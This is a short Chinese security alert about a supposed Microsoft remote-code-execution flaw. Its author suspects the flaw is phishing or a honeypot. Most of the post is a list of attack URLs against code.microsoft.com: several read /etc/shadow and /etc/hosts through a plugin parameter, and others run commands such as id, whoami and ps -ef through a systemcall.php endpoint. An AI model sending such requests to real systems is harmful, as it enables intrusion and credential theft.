【漏洞预警】微软最新版RCE，感觉像是钓鱼或者蜜罐

cexlife 飓风网络安全 2024-04-26 17:10

目前看这个域名的构成不怎么正常

http://code.microsoft.com/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=/etc/shadow

http://code.microsoft.com/pages/systemcall.php?command=id

http://code.microsoft.com/pages/systemcall.php?command=whoami

http://code.microsoft.com/pages/systemcall.php?command=ifconfig

http://code.microsoft.com/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=/etc/hosts

http://code.microsoft.com/pages/systemcall.php?command=ls%20-l%20/

http://code.microsoft.com/pages/systemcall.php?command=history

http://code.microsoft.com/pages/systemcall.php?command=ps%20-ef

相关情报查询：